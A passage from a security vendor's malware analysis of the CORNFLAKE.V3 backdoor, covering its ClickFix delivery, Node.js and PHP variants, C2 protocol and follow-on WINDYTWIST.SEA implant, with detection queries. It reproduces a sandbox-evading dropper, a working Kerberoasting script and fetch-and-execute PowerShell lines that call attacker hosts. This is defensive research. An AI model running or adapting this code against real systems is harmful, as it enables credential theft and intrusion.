$UsedMemoryGb = $TotalMemoryGb - $AvailableMemoryGb 
# Exit if total memory is low or calculated "used" memory is low 
(possible sandbox detection).
if ($TotalMemoryGb -lt 4 -or $UsedMemoryGb -lt 1.5) {
    exit 0
}
# Exit if computer name matches default pattern 
(possible sandbox detection).
if ($env:COMPUTERNAME -match "DESKTOP-S*") {
    exit 0
}

# Pause execution briefly.
sleep 1

# Define download URL (defanged).
$ZipURL = "hxxps://nodejs[.]org/dist/v22.11.0/node-v22.11.0-win-x64.zip"
# Define destination folder (AppData).
$DestinationFolder = [System.IO.Path]::Combine($env:APPDATA, "")
# Define temporary file path for download.
$ZipFile = [System.IO.Path]::Combine($env:TEMP, "downloaded.zip")

# Download the Node.js zip file.
iwr -Uri $ZipURL -OutFile $ZipFile

# Try block for file extraction using COM objects.
try {
	$Shell = New-Object -ComObject Shell.Application
	$ZIP = $Shell.NameSpace($ZipFile)
	$Destination = $Shell.NameSpace($DestinationFolder)
	# Copy/extract contents silently.
	$Destination.CopyHere($ZIP.Items(), 20)
}
# Exit on any extraction error.
catch {
	exit 0
}

# Update destination path to the extracted Node.js folder.
$DestinationFolder = [System.IO.Path]::Combine($DestinationFolder, 
"node-v22.11.0-win-x64")
# Base64 encoded payload (large blob containing the CORNFLAKE.V3 sample).
$BASE64STRING =&lt;Base-64 encoded CORNFLAKE.V3 sample&gt;
# Decode the Base64 string.
$BINARYDATA = [Convert]::FromBase64String($BASE64STRING)
# Convert decoded bytes to a string (the payload code).
$StringData = [System.Text.Encoding]::UTF8.GetString($BINARYDATA)
# Path to the extracted node.exe.
$Node = [System.IO.Path]::Combine($DestinationFolder, "node.exe")

# Start node.exe to execute the decoded string data as JavaScript, hidden.
start-process -FilePath "$Node" -ArgumentList "-e `"$StringData`"" 
-WindowStyle Hidden</code></pre></div>
<div class="block-paragraph_advanced"><p><span>The PowerShell dropper’s execution includes multiple steps:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Check if it is running inside a virtual machine and, if true, exit</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Download Node.js via HTTPS from the URL </span><code>hxxps://nodejs[.]org/dist/v22.11.0/node-v22.11.0-win-x64.zip</code><span>, write the file to </span><code>%TEMP%\downloaded.zip</code><span> and extract its contents to the directory </span><code>%APPDATA%\node-v22.11.0-win-x64</code></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Base64 decode its embedded CORNFLAKE.V3 payload and execute it via the command </span><code>%APPDATA%\node-v22.11.0-win-x64\node.exe -e “&lt;base64_decoded_CORNFLAKE.v3&gt;”</code></p>
</li>
</ul>
<p><span>The PowerShell dropper's anti-vm checks include checking for low system resources (total memory less than 4GB or used memory less than 1.5GB) and if the target system's computer name matches the regular expression </span><code>DESKTOP-S*</code><span> or the target system's manufacturer is </span><code>QEMU</code><span>.</span></p>
<p><span>As a result of the dropper’s execution, a DNS query for the </span><code>nodejs[.]org</code><span> domain was made, followed by the download of an archive named </span><code>downloaded.zip</code> (<span>SHA256:</span> <code>905373a059aecaf7f48c1ce10ffbd5334457ca00f678747f19db5ea7d256c236</code>)<span>. This archive contained the Node.js runtime environment, including its executable file </span><code>node.exe</code><span>, which was then extracted to </span><code>%APPDATA%\node-v22.11.0-win-x64\</code><span>. The Node.js environment allows for the execution of JavaScript code outside of a web browser.</span></p>
<p><span>The extracted </span><code>%APPDATA%\node-v22.11.0-win-x64\node.exe</code><span> binary was then launched by Powershell with the </span><code>-e</code><span> argument, followed by a large Node.js script, a CORNFLAKE.V3 backdoor sample.</span></p>
<p><span>Mandiant identified the following activities originating from the CORNFLAKE.V3 sample:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Host and AD-based reconnaissance</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Persistence via Registry Run key</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Credential harvesting attempts via Kerberoasting</span></p>
</li>
</ul>
<p><span>The following process tree was observed during the investigation:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>explorer.exe 
     ↳ c:\windows\system32\windowspowershell\v1.0\powershell.exe 
-w h -c 
"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 
0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"
          ↳ c:\users\&lt;user&gt;\appdata\roaming\node-v22.11.0-win-x64\node.exe 
-e "{CORNFLAKE.V3}" 
               ↳ c:\windows\system32\windowspowershell\v1.0\powershell.exe 
-c "{Initial check and System Information Collection}"
                    ↳ C:\Windows\System32\ARP.EXE -a
                    ↳ C:\Windows\System32\chcp.com 65001
                    ↳ C:\Windows\System32\systeminfo.exe 
                    ↳ C:\Windows\System32\tasklist.exe /svc
               ↳ c:\windows\system32\cmd.exe /d /s /c "wmic process where 
processid=16004 get commandline"
               ↳ C:\Windows\System32\cmd.exe /d /s /c "{Kerberoasting}"
               ↳ c:\windows\system32\cmd.exe /d /s /c 
"{Active Directory Reconnaissance}"
               ↳ c:\windows\system32\cmd.exe /d /s /c "reg add 
{ChromeUpdater as Persistence}" </code></pre></div>
<div class="block-paragraph_advanced"><h3><span>Analysis of CORNFLAKE.V3 </span></h3>
<p><span>The CORNFLAKE.V3 sample recovered in our investigation was completely unobfuscated, which allowed us to statically analyze it in order to understand its functionality. This section describes the primary functions of the malware.</span></p>
<h4><span>Initial Check and System Information Collection</span></h4></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>if (process.argv[1] !== undefined &amp;&amp; process.argv[2] === undefined) {
    const child = spawn(process.argv[0], [process.argv[1], '1'], {
        detached: true,
        stdio: 'ignore',
        windowsHide: true,
    });
    child.unref();
    process.exit(0);
}</code></pre></div>
<div class="block-paragraph_advanced"><p><span>When the script initially executes, a check verifies the command line arguments of the </span><code>node.exe</code> <span>process, keeping in mind that the binary is initially spawned with a single argument (the script itself), this check forces the script to create a child process which has</span> <code>1</code><span> as an additional argument, then the initial </span><code>node.exe</code><span> exits. When the child process runs, since it now has three arguments, it will pass this initial check and execute the rest of the script.</span></p>
<p><span>This check allows the malware to ensure that only one instance of the script is executing at one time, even if it is launched multiple times due to its persistence mechanisms.</span></p>
<p><span>Following this, the malware attempts to collect system information using the following code:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>let cmd = execSync('chcp 65001 &gt; $null 2&gt;&amp;1 ; echo \'version: ' 
+ ver + '\' ; if ([Security.Principal.WindowsIdentity]::GetCurrent().Name 
-match '(?i)SYSTEM') { \'Runas: System\' } elseif 
(([Security.Principal.WindowsPrincipal] 
[Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole
([Security.Principal.WindowsBuiltInRole]::Administrator)) 
{ \'Runas: Admin\' } else { \'Runas: User\' } ; systeminfo ; echo 
\'=-=-=-=-=-\' ; tasklist /svc ; echo \'=-=-=-=-=-\' ; Get-Service | 
Select-Object -Property Name, DisplayName | Format-List ; 
echo \'=-=-=-=-=-\' ; Get-PSDrive -PSProvider FileSystem | Format-Table 
-AutoSize ; echo \'=-=-=-=-=-\' ; arp -a', { encoding: 'utf-8', shell: 
'powershell.exe', windowsHide: true });

commandRet = Buffer.from(cmd, 'utf-8');

sysinfo = Buffer.concat([numberBufferInit, numberBufferId, commandRet]);</code></pre></div>
<div class="block-paragraph_advanced"><p><span>This code block executes a series of PowerShell commands (or fallback CMD commands if PowerShell fails) using </span><code>execSync</code><span>. It gathers the script's version, user privilege level (System, Admin, User), standard </span><span>systeminfo</span><span> output, running tasks/services (</span><code>tasklist /svc</code><span>), service details (</span><code>Get-Service</code><span>), available drives (</span><code>Get-PSDrive</code><span>), and the ARP table (</span><code>arp -a</code><span>).</span></p>
<h4><span>C2 Initialization</span></h4>
<p><span>After setting some logical constants and the command and control (C2) server IP address, the malware enters the </span><code>mainloop</code> <span>function. The script contains support for two separate lists, </span><code>hosts</code><span> and </span><code>hostsIP</code><span>, which are both used in the C2 communication logic. Initially, the </span><code>mainloop</code><span> function attempts to connect to a random host in the</span><span> </span><code>hosts</code><span> list, however, if unable to do so, it will attempt to connect to a random IP address in the </span><code>hostsIP</code><span> list instead. Once a connection is successfully established, the <code>main</code> </span><span>function is called.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>// Define lists of hostnames and IP addresses for the command 
and control server.
const hosts = ['159.69.3[.]151'];
const hostsIp = ['159.69.3[.]151'];

// Variables to manage the connection and retry logic.
let useIp = 0;
let delay = 1;

// Main loop to continuously communicate with the command 
and control server.
async function mainloop() {
    let toHost = hosts[Math.floor(Math.random() * 1000) % hosts.length];
    let toIp = hostsIp[Math.floor(Math.random() * 1000) % hostsIp.length];

    while (true) {
        // Wait for the specified delay.
        await new Promise((resolve) =&gt; setTimeout(resolve, delay));

        try {
            // Attempt to communicate with the command and control server.
            if (useIp &lt; 200) {
                await main(toHost, PORT_IP);
                useIp = 0;
            } else {
                await main(toIp, PORT_IP);
                useIp++;
                if (useIp &gt;= 210) useIp = 0;
            }
        } catch (error) {
            // Handle errors during communication.
            console.error('Error with HTTP request:', error.message);
            toHost = hosts[Math.floor(Math.random() * 1000) % 
hosts.length];
            toIp = hostsIp[Math.floor(Math.random() * 1000) % 
hostsIp.length];
            useIp++;
            delay = 1000 * 10;
            continue;
        }

        // Set the delay for the next attempt.
        delay = 1000 * 60 * 5;
    }
}</code></pre></div>
<div class="block-paragraph_advanced"><h3><span>C2 Communication</span></h3>
<p><span>This function, named </span><code>main</code><span>, handles the main command and control logic. It takes a host and port number as arguments, and constructs the data to be sent to the C2 server. The malware sends an initial POST request to the path </span><code>/init1234</code><span>, which contains information about the infected system and the output of the last executed command; the contents of this request are XOR-encrypted by the </span><code>enc</code><span> function.</span></p>
<p><span>This request is answered by the C2 with 2 possible responses:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><code>ooff</code><span> - the process exits</span></p>
</li>
<li aria-level="1">
<p role="presentation"><code>atst</code><span> - the <code>atst</code></span><span> function is called, which establishes persistence on the host</span></p>
</li>
</ul>
<p><span>If the response does not match one of the aforementioned 2 values, the malware interprets the response as a payload and parses the last byte of the response after XOR decrypting it. The following values are accepted by the program:</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Command</strong></p>
</td>
<td>
<p><strong>Type</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><span>0</span></p>
</td>
<td>
<p><span>EXE</span></p>
</td>
<td>
<p><span>The received payload is written to </span><code>%APPDATA%\&lt;random_8_chars&gt;\&lt;random_8_chars&gt;.exe</code><span> and launched using the Node.js </span><code>child_process.spawn()</code> <span>function</span><span>.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>1</span></p>
</td>
<td>
<p><span>DLL</span></p>
</td>
<td>
<p><span>The received payload is written to </span><code>%APPDATA%\&lt;random_8_chars&gt;\&lt;random_8_chars&gt;.dll</code><span> and launched using the Node.js </span><code>child_process.spawn()</code> <span>function</span><span> as an argument to </span><span>rundll32.exe</span><span>.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>2</span></p>
</td>
<td>
<p><span>JS</span></p>
</td>
<td>
<p><span>The received payload is launched from memory as an argument to </span><span>node.exe </span><span>using the Node.js </span><code>child_process.spawn()</code> <span>function</span><span>.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>3</span></p>
</td>
<td>
<p><span>CMD</span></p>
</td>
<td>
<p><span>The received payload is launched from memory as an argument to </span><code>cmd.exe</code> <span>using the Node.js </span><code>child_process.spawn()</code> <span>function</span><span>. Additionally, the output is saved in the </span><code>LastCmd</code><span> variable and sent to the C2 in the next request.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>4</span></p>
</td>
<td>
<p><span>Other</span></p>
</td>
<td>
<p><span>The payload is written to </span><code>%APPDATA%\&lt;random_8_chars&gt;\&lt;random_8_chars&gt;.log</code><span>.</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div><span>Table 2: CORNFLAKE.V3 supported payloads</span></div>
</div>
</div></div>
<div class="block-paragraph_advanced"><h4><span>Persistence</span></h4>
<p><span>The </span><span>atst</span><span> function, called by <code>main</code></span><span>, attempts to establish persistence on the host by creating a new registry Run key named </span><code>ChromeUpdater</code> <span>under </span><code>HKCU\Software\Microsoft\Windows\CurrentVersion\Run</code><span>.</span></p>
<p><span>The malware uses </span><code>wmic.exe</code><span> to obtain the command line arguments of the currently running </span><code>node.exe</code><span> process. If </span><code>node.exe</code><span> was launched with the </span><code>-e</code><span> argument, like the malware does initially, the script extracts the argument after </span><code>-e</code><span>, which contains the full malicious script. This script is written to the </span><code>&lt;random_8_chars&gt;.log</code><span> file in the Node.js installation directory and its path is saved to the </span><code>path2file</code><span> variable.</span></p>
<p><span>If </span><code>node.exe</code><span> was instead launched with a file as an argument (such as during the persistence phase), the path to this file is extracted and saved to the </span><code>path2file</code><span> variable.</span></p>
<p><span>The </span><code>path2file</code><span> variable is then set as an argument to</span> <code>node.exe</code><span> in the newly created </span><code>ChromeUpdater</code><span> registry key. This ensures that the malware executes upon user logon.</span></p>
<h3><span>Executed Payloads</span></h3>
<p><span>As observed in the main </span><span>function, this sample can receive and execute different types of payloads from its C2 server. This section describes two payloads that were observed in our investigation.</span></p>
<h4><span>Active Directory Reconnaissance</span></h4>
<p><span>The first payload observed on the host was a batch script containing reconnaissance commands. The script initially determines if the host is domain-joined, this condition determines which specific reconnaissance type is executed.</span></p>
<h5><span>Domain Joined</span></h5>
<ul>
<li role="presentation"><span>Query Active Directory Computer Count</span><span>: Attempts to connect to Active Directory and count the total number of computer objects registered in the domain.</span></li>
<li role="presentation"><span>Display Detailed User Context</span><span>: Executes</span><span> </span><code>whoami /all</code><span> to reveal the current user's Security Identifier (SID), domain and local group memberships, and assigned security privileges.</span></li>
<li role="presentation"><span>Enumerate Domain Trusts</span><span>: Executes </span><code>nltest /domain_trusts</code><span> to list all domains that the current computer's domain has trust relationships with (both incoming and outgoing).</span></li>
<li role="presentation"><span>List Domain Controllers</span><span>: Executes </span><code>nltest /dclist :</code><span> to find and list the available Domain Controllers (DCs) for the computer's current domain.</span></li>
<li role="presentation"><span>Query Service Principal Names (SPNs)</span><span>: Executes </span><code>setspn -T &lt;UserDomain&gt; -Q */*</code> <span>to query for all SPNs registered in the user's logon domain, then filters the results (Select-String) to specifically highlight SPNs potentially associated with user accounts (lines starting CN=...Users).</span></li>
</ul>
<h5><span>Not Domain Joined</span></h5>
<ul>
<li role="presentation"><span>Enumerate Local Groups</span><span>: Uses </span><code>Get-LocalGroup</code><span> to list all security groups defined locally on the machine.</span></li>
<li role="presentation"><span>Enumerate Local Group Members</span><span>: For each local group found, uses </span><code>Get-LocalGroupMember</code><span> to list the accounts (users or other groups) that are members of that group, displaying their Name and PrincipalSource (e.g., Local, MicrosoftAccount).</span></li>
</ul>
<h4><span>Kerberoasting</span></h4>
<p><span>The second script executed is a batch script which attempts to harvest credentials via Kerberoasting. The script queries Active Directory for user accounts configured with SPNs (often an indication of a service account using user credentials). For each of these, it requests a Kerberos service ticket from which a password hash is extracted and formatted. These hashes are exfiltrated to the C2 server, where the attacker can attempt to crack them.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>$a = 'System.IdentityModel';
$b = [Reflection.Assembly]::LoadWithPartialName($a);
$c = New - Object DirectoryServices.DirectorySearcher([ADSI]'');
$c.filter = '(&amp;(servicePrincipalName=*)(objectCategory=user))';
$d = $c.Findall();
foreach($e in $d) {
    $f = $e.GetDirectoryEntry();
    $g = $f.samAccountName;
    if ($g  - ne 'krbtgt')  {
        Start - Sleep  - Seconds (Get - Random  - Minimum 1  
- Maximum 11);
        foreach($h in $f.servicePrincipalName) {
            $i = $null;
            try {
                $i = New - 
Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken  
- ArgumentList $h;
            } catch {}
            if ($i  - ne $null)  {
                $j = $i.GetRequest();
                if ($j)  {
                    $k = [System.BitConverter]::ToString($j) - replace'-';
                    [System.Collections.ArrayList]$l = 
($k - replace'^(.*?)04820...(.*)', '$2') - Split'A48201';
                    $l.RemoveAt($l.Count - 1);
                    $m = $l - join'A48201';
                    try {
                        $m = $m.Insert(32, '$');
                        $n = '$krb5tgs$23$*' + $g + '/' + $h + '*$' + $m;
                        Write - Host $n;
                        break;
                    } catch {}}}}}}</code></pre></div>
<div class="block-paragraph_advanced"><h3><span>PHP Variant</span></h3>
<p><span>Mandiant Threat Defense recently observed a new PHP-based CORNFLAKE.V3 variant which has similar functionality to the previous Node.js based iterations.</span></p>
<p><span>This version was dropped by an in-memory script which was executed as a result of interaction with a malicious ClickFix lure page.</span></p>
<p><span>The script downloads the PHP package from </span><code>windows.php[.]net</code><span>,</span><span> </span><span>writes it to disk as </span><code>php.zip</code><span> </span><span>and extracts its contents to the </span><code>C:\Users\&lt;User&gt;\AppData\Roaming\php\</code><span> </span><span>directory</span><span>. </span><span>The CORNFLAKE.V3 PHP sample is contained in the</span> <code>config.cfg</code><span> file that was also dropped in the same directory and executed with the following command line arguments:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>"C:\\Users\&lt;User&gt;\AppData\Roaming\php\php.exe" -d extension=zip -d 
extension_dir=ext C:\Users\&lt;User&gt;\AppData\Roaming\php\config.cfg 1</code></pre></div>
<div class="block-paragraph_advanced"><p><span>To maintain persistence on the host, this variant utilizes a registry Run key named after a randomly chosen directory in </span><code>%APPDATA%</code><span> or </span><code>%LOCALAPPDATA%</code><span> instead of the fixed </span><code>ChromeUpdater</code><span> string used in the Node.js version. To communicate with its C2 a unique path is generated for each request, unlike the static</span> <code>/init1234</code><span> path:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>POST /ue/2&amp;290cd148ed2f4995f099b7370437509b/fTqvlt HTTP/1.1  
Host: varying-rentals-calgary-predict.trycloudflare[.]com  
Connection: close  
Content-Length: 39185  
Content-type: application/octet-stream</code></pre></div>
<div class="block-paragraph_advanced"><p><span>Much like the Node.js</span><span> version, the last byte of the received payload determines the payload type, however, these values differ in the PHP version:</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<thead>
<tr>
<th scope="col">
<p><strong>Command</strong></p>
</th>
<th scope="col">
<p><strong>Type</strong></p>
</th>
<th scope="col">
<p><strong>Notes</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<p><span>0</span></p>
</td>
<td>
<p><span>EXE</span></p>
</td>
<td>
<p><span>This decrypted content is saved to a temporary executable file (</span><code>&lt;rand_8_char&gt;.exe</code><span>) created in a random directory within the user's </span><code>%APPDATA%</code><span> folder, and executed through </span><code>PowerShell</code><span> as a hidden process.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>1</span></p>
</td>
<td>
<p><span>DLL</span></p>
</td>
<td>
<p><span>The decrypted content is saved as a </span><code>&lt;rand_8_char&gt;.png</code><span> file in a temporary directory within the user's </span><code>%APPDATA%</code><span> folder. Subsequently, </span><code>rundll32.exe</code><span> is invoked to execute the downloaded file.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>2</span></p>
</td>
<td>
<p><span>JS</span></p>
</td>
<td>
<p><span>This decrypted content is saved as a </span><code>&lt;rand_8_char&gt;.jpg</code><span> file in a temporary directory within the user's </span><code>%APPDATA%</code><span> folder. The script attempts to check if </span><code>Node.js</code><span> is installed. If </span><code>Node.js</code><span> is not found or fails to install from a hardcoded URL (</span><code>http://nodejs[.]org/dist/v21.7.3/node-v21.7.3-win-x64.zip</code><span>), an error message is printed. If </span><code>Node.js</code><span> is available, the downloaded JavaScript (</span><code>.jpg</code><span>) file is executed using </span><code>node.exe</code><span>.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>3</span></p>
</td>
<td>
<p><span>CMD</span></p>
</td>
<td>
<p><span>This decrypted data is executed as a provided command string via </span><code>cmd.exe</code><span> or </span><code>powershell.exe</code><span>.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>4</span></p>
</td>
<td>
<p><span>ACTIVE</span></p>
</td>
<td>
<p><span>This command reports the </span><code>active_cnt</code><span> (stored in the </span><code>$qRunq</code><span> global variable) to the C2 server. This likely serves as a heartbeat or activity metric for the implant.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>5</span></p>
</td>
<td>
<p><span>AUTORUN</span></p>
</td>
<td>
<p><span>The malware attempts to establish persistence by adding a registry entry in </span><code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code><span> that points to the script's </span><code>PHP</code><span> binary and its own path.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>6</span></p>
</td>
<td>
<p><span>OFF</span></p>
</td>
<td>
<p><span>This command directly calls </span><code>exit(0)</code><span>, which terminates the PHP script's execution.</span></p>
</td>
</tr>
<tr>
<td> </td>
<td>
<p><span>OTHER</span></p>
</td>
<td>
<p><span>If none of the specific commands match, the received data is saved as a </span><code>.txt</code><span> file in a temporary directory within the user's </span><code>%APPDATA%</code><span> folder.</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div><span>Table 3: CORNFLAKE.V3 PHP variant supported payloads</span></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></div>
<div class="block-paragraph_advanced"><p><span>The Javascript payload execution functionality was retained by implementing the download of the Node.js runtime environment inside the </span><code>JS</code><span> command. Other notable changes include the change of the </span><code>DLL</code><span> and </span><code>JS</code><span> payload file extensions into </span><code>.png</code><span> and </span><code>.jpg</code><span> to evade detection and the addition of the </span><code>ACTIVE</code><span> and </span><code>AUTORUN</code><span> commands. However, the main functionality of the backdoor remains unchanged despite the transition from Node.js to PHP.</span></p>
<p><span>These changes suggest an ongoing effort by the threat actor to refine their malware against evolving security measures.</span></p>
<h3><span>Executed Payloads</span></h3>
<h4><span>Active Directory Reconnaissance</span></h4>
<p><span>A </span><span>cmd.exe</span><span> reconnaissance payload similar to the one encountered in the Node.js variant </span><span>was received from the C2 server and executed. The script checks if the machine is part of an Active Directory domain and collects the following information using powershell:</span></p>
<h5 role="presentation"><span>Domain Joined</span></h5>
<ul>
<li aria-level="1">
<p role="presentation"><span>Total count of computer accounts in AD.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Domain trust relationships.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>List of all Domain Controllers.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Members of the "Domain Admins" group.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>User accounts configured with a Service Principal Name (SPN).</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>All local groups and their members</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Current User name, SID, local group memberships and security privileges</span></p>
</li>
</ul>
<h5 role="presentation"><span>Not Domain Joined</span></h5>
<ul>
<li aria-level="1">
<p role="presentation"><span>All local groups and their members</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Current User name, SID, local group memberships and security privileges</span></p>
</li>
</ul>
<p><span> </span></p>
<h4><span>WINDYTWIST.SEA Backdoor</span></h4>
<p><span>Following the interaction with its C2 server, a DLL payload (corresponding to command </span><span>1</span><span>) was received, written to disk as </span><code>C:\Users\&lt;User&gt;\AppData\Roaming\Shift194340\78G0ZrQi.png</code> <span>and executed using </span><code>rundll32</code><span>. This file was a </span><code>WINDYTWIST.SEA</code><span> backdoor implant configured with the following C2 servers:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>tcp://167.235.235[.]151:443
tcp://128.140.120[.]188:443
tcp://177.136.225[.]135:443</code></pre></div>
<div class="block-paragraph_advanced"><p><span>This implant is a C version of the Java </span><code>WINDYTWIST</code><span> backdoor, which supports relaying TCP traffic, providing a reverse shell, executing commands, and deleting itself. In previous intrusions, Mandiant observed </span><code>WINDYTWIST.SEA</code><span> samples attempting to move laterally in the network of the infected machine.</span></p>
<p><span>The following process tree was observed during the infection:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>explorer.exe
    ↳ C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe 
"-c irm dnsmicrosoftds-data[.]com/log/out | clip; &amp; 
([scriptblock]::Create((Get-Clipboard) -join 
(""+[System.Environment]::NewLine)))"
       ↳ C:\WINDOWS\system32\clip.exe
       ↳ C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe 
"-w H -c irm windows-msg-as[.]live/qwV1jxQ"
       ↳ C:\WINDOWS\system32\systeminfo.exe
       ↳ C:\Users\&lt;user&gt;\AppData\Roaming\php\php.exe "-d extension=zip 
-d extension_dir=ext C:\Users\&lt;user&gt;\AppData\Roaming\php\config.cfg 
1 {CORNFLAKE.V3}"
          ↳ cmd.exe /s /c "powershell -c 
{Multiple PS Commands for Host Reconnaissance}"
          ↳ cmd.exe /s /c "powershell -c 
{Multiple PS Commands for Host Reconnaissance}"
          ↳ cmd.exe /s /c "reg add 
HKCU\Software\Microsoft\Windows\CurrentVersion\Run 
/v "random_appdata_dirname" /t REG_SZ /d "\"&lt;php_binary_path&gt;" 
\"&lt;script_path&gt;"" /f"
          ↳ powershell.exe
             ↳ C:\Windows\System32\rundll32.exe 
"{WINDYTWIST.SEA Backdoor}" start</code></pre></div>
<div class="block-paragraph_advanced"><h3><span>Conclusion</span></h3>
<p><span>This investigation highlights the collaborative nature of modern cyber threats, where UNC5518 leverages compromised websites and deceptive ClickFix lures to gain initial access. This access is then utilized by other actors like UNC5774, who deploy versatile malware such as the CORNFLAKE.V3 backdoor. The subsequent reconnaissance and credential harvesting activities we observed indicate that the attackers intend to move laterally and expand their foothold in the environment.</span></p>
<p><span>To mitigate malware execution through ClickFix, organizations should disable the Windows Run dialog box where possible. Regular simulation exercises are crucial to counter this and other social engineering tactics. Furthermore, robust logging and monitoring systems are essential for detecting the execution of subsequent payloads, such as those associated with CORNFLAKE.V3.</span></p>
<h3><span>Acknowledgements</span></h3>
<p><span>Special thanks to Diana Ion, Yash Gupta, Rufus Brown, Mike Hunhoff, Genwei Jiang, Mon Liclican, Preston Lewis, Steve Sedotto, Elvis Miezitis and Rommel Joven for their valuable contributions to this blog post.</span></p>
<h3><span>Detection Through Google Security Operations</span></h3>
<p><span>For detailed guidance on hunting for this activity using the following queries, and for a forum to engage with our security experts, please visit our companion post on the</span> <a href="https://security.googlecloudcommunity.com/community-blog-staging-private-71/a-cereal-offender-analyzing-the-cornflake-v3-backdoor-5682" rel="noopener" target="_blank"><span>Google Cloud Community blog</span></a><span>.</span></p>
<p><span>Mandiant has made the relevant rules available in the Google SecOps Mandiant Frontline Threats curated detections rule set. The activity discussed in the blog post is detected in Google SecOps under the rule names:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Powershell Executing NodeJS</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Powershell Writing To Appdata</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Suspicious Clipboard Interaction</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>NodeJS Reverse Shell Execution</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Download to the Windows Public User Directory via PowerShell</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Run Utility Spawning Suspicious Process</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>WSH Startup Folder LNK Creation</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Trycloudflare Tunnel Network Connections</span></p>
</li>
</ul>
<h4><span>SecOps Hunting Queries</span></h4>
<p><span>The following UDM queries can be used to identify potential compromises within your environment.</span></p>
<h5><span>Execution of CORNFLAKE.V3 — Node.js </span></h5>
<p><span>Search for potential compromise activity where PowerShell is used to launch node.exe from %AppData% path with the -e argument, indicating direct execution of a malicious JavaScript string.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = /powershell\.exe/ nocase
target.process.file.full_path = /appdata\\roaming\\.*node\.exe/ nocase
target.process.command_line = /"?node\.exe"?\s*-e\s*"/ nocase</code></pre></div>
<div class="block-paragraph_advanced"><h5><span>Execution of CORNFLAKE.V3 — PHP</span></h5>
<p><span>Search for compromise activity where PowerShell is executing php.exe from %AppData% path. This variant is characterized by the use of the -d argument, executing a PHP script without a .php file extension, and passing the argument 1 to the PHP interpreter, indicating covert execution of malicious PHP code.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>metadata.event_type = "PROCESS_LAUNCH"
